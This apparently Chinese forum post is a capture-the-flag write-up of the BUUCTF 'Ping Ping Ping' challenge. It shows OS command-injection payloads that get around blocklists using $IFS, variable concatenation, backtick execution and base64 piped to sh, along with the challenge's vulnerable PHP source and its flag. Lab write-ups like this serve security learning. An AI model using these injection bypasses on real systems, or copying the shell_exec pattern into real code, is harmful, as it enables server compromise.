找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 88|回复: 0

☆ BUUCTF靶场9 --[GXYCTF2019]Ping Ping Ping

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-9-1 17:06:06 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
☆ BUUCTF靶场9 -- [GXYCTF2019]Ping Ping Ping

1.png

猜测是命令执行漏洞,
[Bash shell] 纯文本查看 复制代码
/?ip=;ls


返回
[Plain Text] 纯文本查看 复制代码
flag.php
index.php


[Bash shell] 纯文本查看 复制代码
/?ip=;cat flat.php


返回 /?ip= fxck your space!对空格有过滤;
绕过空格/?ip=;{cat,flag.php} 返回 /?ip= 1fxck your symbol!对符号有过滤,可能是大括号或flag

/?ip=;cat$IFS$1flag.php 返回 /?ip= fxck your flag!对flag有过滤
变量拼接再改进一下/?ip=;a=ag.php;b=fl;cat$IFS$1$b$a

[AppleScript] 纯文本查看 复制代码
/?ip=
<pre><?php
$flag = "flag{65fa24fe-8a82-4212-9107-9e43c1cc1833}";
?>


内联执行(最优解)


[PHP] 纯文本查看 复制代码
/?ip=;cat$IFS$1`ls`

[PHP] 纯文本查看 复制代码
/?ip=
<pre><?php
$flag = "flag{65fa24fe-8a82-4212-9107-9e43c1cc1833}";
?>
/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>


Base64编码
[Bash shell] 纯文本查看 复制代码
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh


单双引号绕过


虽然这一题单双引号被ban了,但是也是一个不错的绕过姿势。使用单双引号进行拼接,比如

ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。


$1、$2等和 $@绕过

大概的形式就是l$1s   ca$2t fl$@ag等等。

这种好像是shell编码的相关知识,目前还不太理解其原理。等以后再慢慢弄懂。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 04:55

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表